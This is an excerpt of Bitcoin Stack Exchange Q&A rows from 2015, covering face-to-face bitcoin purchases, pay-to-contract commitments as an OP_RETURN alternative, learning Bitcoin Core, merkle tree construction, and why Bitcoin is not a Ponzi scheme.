  <row Id="37201" PostTypeId="1" CreationDate="2015-05-02T13:00:00.130" Score="2" ViewCount="477" Body="&lt;p&gt;I have never bought bitcoins face to face. Don't have iphone/ipad and therefore I would need answers on the following question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to have on my cell phone in order to provide seller my bitcoin address AND to be able to check whether or not he/she really sent bitcoins to me before we say BYE to each other. I would like to avoid requesting to rewrite bitcoin address from physical paper because mistakes could occur. In this question I am asking how to provide him my bitcoin address in easiest and most useful possible way, and I am also asking how to check that I really got my bitcoins. I have old Samsung cellphone and probably (at least i hope so) its not everything about QR code - my cellphone doesn't support it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that I don't want to bring my laptop with me (additional safety reasons as I don't know with who I am dealing - you never know what kind of person he/she is), assuming that I don't have iphone/ipad and assuming I don't want to use public computer, is there any fifth (fourth is usage of cellphone) way how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the following two links but neither of them helped:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25499/how-to-check-if-user-sent-me-the-btc&quot;&gt;How to check if user sent me the BTC?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13117/how-do-i-buy-bitcoins-safely-face-to-face&quot;&gt;How do I buy Bitcoins safely face-to-face?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25322" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-05-14T15:33:43.977" Title="How to check BTC transaction when buying face to face?" Tags="|transactions|blockchain|bitcoind|buy-bitcoins|electrum|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37202" PostTypeId="2" ParentId="37201" CreationDate="2015-05-02T14:16:55.010" Score="1" Body="&lt;p&gt;Does your cellphone have a web browser? There's many good web wallets (such as &lt;a href=&quot;https://greenaddress.it/en/&quot; rel=&quot;nofollow&quot;&gt;https://greenaddress.it/en/&lt;/a&gt;) which would allow you to simply open it in a web browser. If you don't have QR code capabilities, then your only resort is to have him/her write your bitcoin address, character by character. Once (s)he's sent the bitcoins, your web wallet will alert you that it's arrived and you're good to go. You must of course have an internet connection on your phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: if it's a large amount of money you're transferring, you should probably wait 10 mins or so to get at least 1 confirmation.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-02T14:16:55.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37203" PostTypeId="2" ParentId="37201" CreationDate="2015-05-02T16:10:09.623" Score="1" Body="&lt;p&gt;Writing out the address is maybe not as bad as you think: a Bitcoin address includes a checksum, so if the seller accidentally types it incorrectly, they will be notified that they have typed an invalid address, and they can just try again.  You don't need to worry that a typo will result in sending Bitcoins somewhere else.  The chances of a random typo resulting in another valid address are about 1 in 4 billion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to print out a QR code for your address on a piece of paper.  The seller can scan the code to get your address.  But it would be a good idea to have the address written out as well, in case the seller is sending coins from a device or program that doesn't support scanning QR codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for checking whether the coins were sent, there are a number of free services where you can enter an address and it will send you an email when coins are received by that address.  This could be an option if your phone can receive email, or if your phone carrier provides an email-to-text gateway (e.g. emails send to 123456789@mobile.carrier.net are relayed as text messages to your phone).  Here are a couple of services that claim to do this (I didn't try them).  If possible you should test them out in advance, by sending a transaction to yourself.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://coinspy.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://coinspy.io&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://hashmoni.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://hashmoni.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blockspin.com/blog/blocknotify&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blockspin.com/blog/blocknotify&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinmonitor.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.bitcoinmonitor.net/&lt;/a&gt; (read fine print for info about email notifications, as opposed to URL callbacks)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See also the question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8080/where-can-i-get-email-notifications-on-any-transactions-to-from-an-address-i-do&quot;&gt;Where can I get email notifications on any transactions to/from an address I do not control?&lt;/a&gt; (notwithstanding the title, the services mentioned there also work fine for addresses which you do control).&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-05-14T15:33:43.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37204" PostTypeId="1" CreationDate="2015-05-02T16:34:41.287" Score="1" ViewCount="209" Body="&lt;p&gt;Now it is possible to file a proof of claim regarding the mtgox bancruptcy. What is the most likely outcome of this claim? What is the expectancy one can have as a former mtgox user on this claim?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2015-05-02T16:34:41.287" Title="Expectancy of payout from bancrupcty claim mtgox" Tags="|mtgox|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37206" PostTypeId="1" CreationDate="2015-05-03T06:06:17.223" Score="1" ViewCount="2272" Body="&lt;p&gt;I am working on iOS camera app and would like to store hash of photos inside blockchain for the &quot;proof of existence&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK transaction with OP_RETURN in output has some disadvantages&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;non-refundable. so every transaction burns coins and removes something from a finite resources. forever. &lt;/li&gt;&#xA;&lt;li&gt;can be rejected by miner/can be subject to reject because of low fee and negative impact of burning coins&lt;/li&gt;&#xA;&lt;li&gt;subject to change. OP_RETURN field used to be 80 bytes and has been changed to 40 bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I appreciate any ideas&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-05-26T04:54:03.437" Title="Alternatives to OP_RETURN to store data in Bitcoin blockchain" Tags="|blockchain|op-return|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37208" PostTypeId="2" ParentId="37206" CreationDate="2015-05-03T08:32:15.113" Score="7" Body="&lt;p&gt;For a proof of existence, you do not actually need to store the data in the blockchain. Merely commiting to it, by using its hash in way that is later provably used, is enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One such way is using a mechanism originally described as pay-to-contract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: elliptic curve math follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You start with any public key X (yours or someone elses). Then construct the modified key X' = (X + H(X || C)*G) [with H a hash function, || concatenation, and G the secp256k1 generator point], and send a transaction (possibly as part of an actual need to send money to X) to the address corresponding to X'. The receiver (which can be yourself if you do this for a change output) will need to add the value H(X || C) to his private key corresponding to X, to be able to spend the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, revealing X and C, plus the transaction in the blockchain you used to send to X', is a proof that C was actually known at the time of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scheme has the advantage of not requiring any data in the chain more than the transaction would already consume, and additionally that it is indistinguishable from a normal transaction, making it harder to censor or be subject to changing policy of nodes on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative possibly exists which works without modified addresses of transaction, but is not well studied yet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-05-03T14:40:58.040" LastActivityDate="2015-05-03T14:40:58.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37209" PostTypeId="2" ParentId="37182" CreationDate="2015-05-03T15:36:04.740" Score="0" Body="&lt;p&gt;Yes, if you use settxfee that overrides and it will use that set amount.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2015-05-03T15:36:04.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37212" PostTypeId="1" CreationDate="2015-05-03T17:55:33.010" Score="2" ViewCount="332" Body="&lt;p&gt;In the bitcoin/src, which files are the &quot;main&quot; files I should start with if I want to learn how Bitcoin works? In other words, where's it good to branch off from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to C++, but can code okay in PHP and Python. I'm learning C++ along the way.&lt;/p&gt;&#xA;" OwnerUserId="24926" LastEditorUserId="5406" LastEditDate="2015-05-04T09:07:55.450" LastActivityDate="2015-05-04T14:10:32.667" Title="Which files do you recommend I start with to learn Bitcoin?" Tags="|bitcoin-core-development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37214" PostTypeId="2" ParentId="37212" CreationDate="2015-05-03T19:38:05.900" Score="3" Body="&lt;p&gt;I certainly appreciate your level of enthusiasm to want to dig straight into the code, but if I were you I'd start with the &lt;a href=&quot;https://bitcoin.org/en/developer-guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developer Guide on bitcoin.org&lt;/a&gt;, and perhaps also the &lt;a href=&quot;https://bitcoin.org/en/developer-reference&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developer Reference&lt;/a&gt;. A whole lot of effort has gone into this documentation (especially thanks to &lt;a href=&quot;https://bitcoin.stackexchange.com/users/21052/david-a-harding&quot;&gt;this guy&lt;/a&gt;), and I think you'd be remiss to not to take advantage of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After digesting some of that content, you'll have a better idea of what particular aspect of Bitcoin Core interests you the most. As I'm sure you've noticed, it's a rather large codebase, covering consensus issues, blockchain/storage/pruning issues, elliptic curve cryptography, DOS issues, Bitcoin scripting issues, Bloom filters, wallet issues, UI issues, and tons of other things I can't begin to fathom. After getting a good technical overview of Bitcoin and posing a more specific question, I'm sure someone (perhaps not me) can give you a more specific staring point.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-05-03T19:38:05.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37215" PostTypeId="2" ParentId="37212" CreationDate="2015-05-03T22:21:57.003" Score="1" Body="&lt;p&gt;Even I'm quite new to Bitcoin and I started out with &lt;a href=&quot;http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This short explanation gave me good overview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Christopher Gurnee is right with starting to study the Developer Guide, the Developer Reference and in addition you could take a look at the &lt;a href=&quot;https://bitcoin.org/en/developer-examples&quot; rel=&quot;nofollow&quot;&gt;Developer Examples&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your interest in coding, you should take a look at the &lt;code&gt;bitcoin-0.10.X/qa/&lt;/code&gt; directory - here you find (also python) code for quality assurance tests.&lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-05-03T22:21:57.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37216" PostTypeId="2" ParentId="37212" CreationDate="2015-05-04T02:47:19.973" Score="2" Body="&lt;p&gt;I've found &lt;a href=&quot;http://www.python.org&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt; to be the best Bitcoin learning tool, and many agree, namely because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can use the Python console without compiling code, allowing you to easily play with it until it makes sense&lt;/li&gt;&#xA;&lt;li&gt;Python (especially version 2.7) is dynamically typed (bytes, strings, ints do not need declaring) &lt;em&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/users/25088/christopher-gurnee&quot;&gt;Christopher Gurnee's&lt;/a&gt; comment below&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;There's some fantastic libraries for Python, namely &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;Pycoin&lt;/a&gt; and &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-05-04T14:10:32.667" LastActivityDate="2015-05-04T14:10:32.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37217" PostTypeId="1" CreationDate="2015-05-04T04:14:51.447" Score="14" ViewCount="5493" Body="&lt;p&gt;I was asked whether Bitcoin is a Ponzi scheme as I was explaining Bitcoin. In support of the question I was presented with the following scenario. I didn't know what to answer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let's assume Bitcoin started today and had no transactions and no customers. Tomorrow, the first 10 people ever buy into Bitcoin. The price at that time for one bitcoin is $100. So, 10 people bought in at $100 thus there is $1000 in the Bitcoin economy.&lt;br&gt;&#xA;  The next day, the price of a Bitcoin doubles and goes to $200 per coin. Now again hypothetically, let's say ALL 10 of these people want to sell their Bitcoin and cash out. The math now says $2000 will have to be paid out. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How will this be handled as there was only $1000 in the system? I don't believe Bitcoin is a Ponzi scheme, but this particular equation does not add up. What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="26337" LastEditorUserId="5406" LastEditDate="2015-05-04T10:12:26.867" LastActivityDate="2021-04-24T18:57:26.190" Title="How to answer to whether Bitcoin is a Ponzi scheme?" Tags="|value|fraud|" AnswerCount="6" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="37218" PostTypeId="1" AcceptedAnswerId="37541" CreationDate="2015-05-04T04:17:51.160" Score="0" ViewCount="68" Body="&lt;p&gt;How would a user mix their NXT coins so they cannot be linked to previous accounts that sent it to the user? One way I thought up of was to deposit your NXT coins into an exchange and take it back out into another account. This is assuming that exchange has alot of transactions to blur the transactions.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-23T06:55:09.800" Title="How would one mix NXT coins?" Tags="|nxt|mixing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37220" PostTypeId="2" ParentId="30866" CreationDate="2015-05-04T08:02:56.960" Score="0" Body="&lt;p&gt;If you want to try the new API look at this page: &lt;a href=&quot;https://www.stellar.org/galaxy/getting-started/&quot; rel=&quot;nofollow&quot;&gt;https://www.stellar.org/galaxy/getting-started/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25048" LastActivityDate="2015-05-04T08:02:56.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37221" PostTypeId="2" ParentId="37217" CreationDate="2015-05-04T09:02:35.020" Score="10" Body="&lt;p&gt;Bitcoins are no different from any other commodity in this regard. We say that the price of a car is $45,000, but that doesn't guarantee that you can sell one for $45,000 unless you can find someone willing to buy one for $45,000. When we say some particular number is the price, we mean that's basically the number that buyers and sellers both agree that it is worth. But it's not a guarantee that you'll be able to buy or sell at that price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin exchanges report the prices at which Bitcoins change hands when they do change hands. They also report the price at which people are willing to buy (typically slightly less) and the price at which people are willing to sell (typically slightly more). If you try to buy or sell a large quantity, this will change the price. For example, if the last trade was at $250 and someone is willing to buy 10 bitcoins for $240, and you sell them 10 bitcoins, the price would move to $240. And now there wouldn't be anyone left willing to buy at $240, so the new buy price might drop to $235.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why you would connect this to a Ponzi scheme. Ponzis don't work this way at all -- they pretend to be investing but actually a central operator pays out of a fixed pool. Bitcoins behave more like stock, they are bought and sold at some agreed value based on the value of the underlying assets. Bitcoins have underlying value because they can be securely exchanged, allowing them to function like a currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While some people buy Bitcoins hoping they can sell them at a higher price, other people buy them strictly as a means of exchange. They exchange the Bitcoins for goods and the recipient may exchange the Bitcoins back to some other currency. The Bitcoins provide value because they allow the exchange to take place in a neutral currency, with high security, and at high speed, something that might otherwise be impossible. This capability makes Bitcoins have value beyond speculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an sense nobody sets the price and in a sense everybody does. Anyone who wants to buy a Bitcoin can set the price they're willing to pay however they please. Anyone who wants to sell a Bitcoin can set the price they're willing to take however they please. As a result of trades in a free market, discovering the value is not difficult. If the highest price buyers are willing to pay is $250, and the lowest price sellers are willing to take is $251, the fair value is right in-between. (Assuming a perfect market, which we don't quite have.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how many markets, including stock markets, work.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2015-05-04T11:11:30.013" LastActivityDate="2015-05-04T11:11:30.013" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="37222" PostTypeId="2" ParentId="37184" CreationDate="2015-05-04T09:14:51.000" Score="1" Body="&lt;p&gt;In the United States, Bitcoins are treated like a commodity asset, not like cash. So when you buy something with Bitcoins or exchange Bitcoins for dollars, you have a taxable capital gain on the difference between your basis in the Bitcoins and the value you got for the Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-05-04T09:14:51.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37223" PostTypeId="1" AcceptedAnswerId="37225" CreationDate="2015-05-04T10:47:10.517" Score="4" ViewCount="2345" Body="&lt;p&gt;For constructing the merkle tree txids are paired and hashed. &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transaction-data&quot; rel=&quot;nofollow&quot;&gt;¹&lt;/a&gt; &lt;br/&gt;&#xA;&lt;strong&gt;But how are these txids paired? Does it happen chronologically or is there a certain pattern of pairing?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-07-16T21:57:24.863" Title="Pairing pattern of txids in merkle tree" Tags="|transactions|merkle-tree|transaction-id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37224" PostTypeId="2" ParentId="37217" CreationDate="2015-05-04T10:47:42.383" Score="26" Body="&lt;h2&gt;The Scenario is confused, because it assumes that there is only one side to a trade.&lt;/h2&gt;&#xA;&lt;p&gt;The scenario assumes that the money goes &amp;quot;into the Bitcoin economy&amp;quot; when people buy bitcoins. This is confusing, because it sounds as if there were only one side to the trade. You will find that the scenario doesn’t imply Bitcoin to be a Ponzi scheme, once you take a closer look at how trades happen.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;People own bitcoins&lt;/strong&gt;:&lt;br /&gt;&#xA;When Alice pays Bob $100 to buy one bitcoin, Bob is the new owner of the $100 and Alice is the new owner of one bitcoin. The money didn’t &amp;quot;go into the Bitcoin economy&amp;quot; – it went to Bob.&lt;/p&gt;&#xA;&lt;p&gt;What changed was the &lt;strong&gt;Total Dollar Value&lt;/strong&gt; or &lt;strong&gt;Purchasing Power&lt;/strong&gt; of Bitcoin: People see that someone was willing to pay $100 for one bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;So, in your scenario that should rather be: There are currently 10 bitcoins in the system, and the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/13255/5406&quot;&gt;spot price&lt;/a&gt; is $100. This gives Bitcoin a Total Dollar Value, or Total Purchasing Power of $1000.&lt;/p&gt;&#xA;&lt;p&gt;There is no problem the next day either: When the spot-price increases to $200 per bitcoin, that means that one person, say Alice, was willing to sell for $200, while another, say Carol, was willing to pay $200 for a bitcoin. Apparently, Carol thought that bitcoin was undervalued at $100 and was willing to go higher with her bid. And who would blame Alice for selling her coin for a 100% markup in one day?&lt;/p&gt;&#xA;&lt;p&gt;Now as described in your scenario, the other nine owners of bitcoins offer their bitcoins as well for $200 each. The question then is, whether there are enough buyers to support the price at $200. This boils down to a balancing of supply and demand: Perhaps, Carol wanted only one bitcoin. Then there will be nine offers to sell a bitcoin each at $200, but no buyers. In order to cash out, the sellers have to find someone that wants to buy though. There is no &amp;quot;bitcoin economy&amp;quot; that stores the value and pays them out when they want to exit their positions.&lt;/p&gt;&#xA;&lt;h2&gt;What's a Ponzi scheme?&lt;/h2&gt;&#xA;&lt;p&gt;In a Ponzi scheme, investors are enticed by promise of fixed returns. The operator manages all funds and uses investments by later investors to pay off earlier investors. As no value is generated, the operator must constantly attract more investors to keep the scheme running.&lt;br /&gt;&#xA;In contrast, Bitcoin doesn’t pay any returns or dividends, nor is there a central operator that could make any such promises. Each individual manages their own funds. Bitcoin's exchange rate is &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2566/5406&quot;&gt;established&lt;/a&gt; by supply and demand. Much like a commodity, its current spot-price is that of the last trade between individuals.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Related reading:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/35/5406&quot;&gt;Is Bitcoin a scam?&lt;/a&gt; further elaborates on the differences between various fraud schemes, high-risk investments, commodities, and currencies.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/20752/5406&quot;&gt;How do buy and sell orders work?&lt;/a&gt; explores how Bitcoin's exchange rate is established.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/1405/5406&quot;&gt;What happens to cash used to buy bitcoins?&lt;/a&gt; looks at the role of Bitcoin exchanges in people's buying and selling of Bitcoin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-04-12T14:53:11.437" LastActivityDate="2021-04-12T14:53:11.437" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="37225" PostTypeId="2" ParentId="37223" CreationDate="2015-05-04T10:57:07.793" Score="4" Body="&lt;h2&gt;Transaction order in the block&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Currently, there are only two requirements for the order of transactions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4571/5406&quot;&gt;coinbase transaction&lt;/a&gt; is always first.  &lt;/li&gt;&#xA;&lt;li&gt;Intra block dependencies must preceed, i.e. if &lt;code&gt;Transaction A&lt;/code&gt; and &lt;code&gt;Transaction B&lt;/code&gt; are both in the same block, and &lt;code&gt;Transaction B&lt;/code&gt; spends outputs of &lt;code&gt;Transaction A&lt;/code&gt;, &lt;code&gt;A&lt;/code&gt; must be listed before &lt;code&gt;B&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is likely that in the future a correct order for transaction will be introduced, as this will allow proving the absence of a transaction in a block with logarithmic effort, and will allow more efficient block data propagation through &lt;a href=&quot;https://bitcoin.stackexchange.com/q/30648/5406&quot;&gt;IBLT&lt;/a&gt;. Right now, transactions are propagated in the network before confirmation, and then again as the content of a block. With a deterministic transaction order and IBLT set reconciliation, each transaction would only have to be received once instead of twice.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Building the Merkle Tree&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gsi1h.png&quot; alt=&quot;Schematic how to create Merkle Tree&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transactions are inserted into the Merkle Tree in the same order they are listed in the block. If a block only contains the Coinbase Transaction, the Coinbase's transaction ID is used as the Merkle Root.&lt;br&gt;&#xA;Otherwise, a binary tree is created from the transactions by pairing transaction hashes on the first level, then pairing resulting hashes on each next level until only one hash results, which is then used as the Merkle Root. If there is an odd number of hashes to be paired, the last hash is paired with itself.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further Reading&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-reference#merkle-trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developer Reference&lt;/a&gt; has additional details. The image is from the Developer Reference as well, and hence licensed MIT.&lt;br&gt;&#xA;Antonopoulos covers &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch07.html#merkle_trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;Merkle trees in detail in his book&lt;/a&gt;, also providing examples of how it is used to prove transaction presence in blocks.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-07-16T21:57:24.863" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37226" PostTypeId="2" ParentId="37217" CreationDate="2015-05-04T11:31:13.623" Score="7" Body="&lt;p&gt;A &lt;a href=&quot;https://en.wikipedia.org/wiki/Ponzi_scheme&quot;&gt;Ponzi scheme&lt;/a&gt; is characterised as follows (this is according to Wikipedia, rather than for example the US Department of Justice, which would focus more on the criminal culpability in its definition):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Ponzi scheme is a fraudulent investment operation where the&#xA;  operator, an individual or organization, pays returns to its investors&#xA;  from new capital paid to the operators by new investors, rather than&#xA;  from profit earned by the operator.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you sell your holding in Bitcoin (or any asset) to another investor, then you aren't being paid a return by the operator of the scheme at all, from new capital or otherwise. The concept is not applicable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Ponzi scheme is when the operator &lt;em&gt;claims&lt;/em&gt; that they're holding people's money and using it to generate profit (that is, buying and selling something that generates profit, such that the operator has capital value to match or exceed investor's subscriptions). But &lt;em&gt;actually&lt;/em&gt; the operator isn't holding anything, and has given away all the investor's subscriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoins paid interest/dividends in US dollars, meaning that you could keep your Bitcoins &lt;em&gt;and&lt;/em&gt; take a return, and furthermore if the interest was paid using new subscriptions, &lt;em&gt;then&lt;/em&gt; Bitcoin would be a Ponzi. But nothing like that happens at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin isn't an investment scheme that holds your money for you. It is, as the other answers say, a tradable commodity. So, statements like &quot;thus there is $1000 in the Bitcoin economy&quot; doesn't mean that some hypothetical operator is holding $1000 in a US dollar-demonated bank account, and that it uses this money to pay anyone who wants to cash out. Nothing of the sort. If the price goes to $200 and those 10 people cash out, all that means is that 10 &lt;em&gt;other&lt;/em&gt; people want to pay $200 each for bitcoin, and have bought them from the first 10 people. There isn't &quot;$2000 in the system&quot;, the original owners have taken $2000 from the new owners. However, the value of the 10 bitcoins at the time of the trade is $2000, so the bitcoin system as a whole is described as &quot;being worth $2000&quot;. Sometimes people say it &quot;has $2000 in it&quot;, but this means it has $2000 worth of bitcoins in it, not that there are 2000 actual dollars in there. There is no guarantee as to what the value will be when the new owners sell, and there aren't $2000 &quot;in it&quot; any more than there are really $2000 &quot;in&quot; an old vase you fetch out of the attic and someone on Antiques Roadshow says it's worth two grand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Bitcoin (or any tradable asset) can be subject to is &lt;a href=&quot;https://en.wikipedia.org/wiki/Investment_bubble&quot;&gt;bubbles&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An economic bubble ... is &quot;trade in high volumes at prices that are&#xA;  considerably at variance with intrinsic values&quot;. It could also be&#xA;  described as a situation in which asset prices appear to be based on&#xA;  implausible or inconsistent views about the future&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Because it is often difficult to observe intrinsic values in real-life&#xA;  markets, bubbles are often conclusively identified only in retrospect,&#xA;  when a sudden drop in prices appears.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin (like other currencies) is actually &lt;em&gt;intended&lt;/em&gt; to be a marker of economic value with no other intrinsic value, one can argue that the US dollar and gold are also subject to &lt;em&gt;extremely&lt;/em&gt; long-running bubbles, and Bitcoin should be no different. But at this point the argument becomes semantic, because what one actually cares about is not whether currency &quot;is a bubble&quot; in that sense, but under what circumstances and how badly it might crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, even if Bitcoin does eventually collapse, which is by no means certain, a bubble is not a Ponzi scheme. It does have one property in common, that the last person in before it collapses will lose most of their money.&lt;/p&gt;&#xA;" OwnerUserId="26338" LastEditorUserId="26338" LastEditDate="2015-05-04T12:04:39.630" LastActivityDate="2015-05-04T12:04:39.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
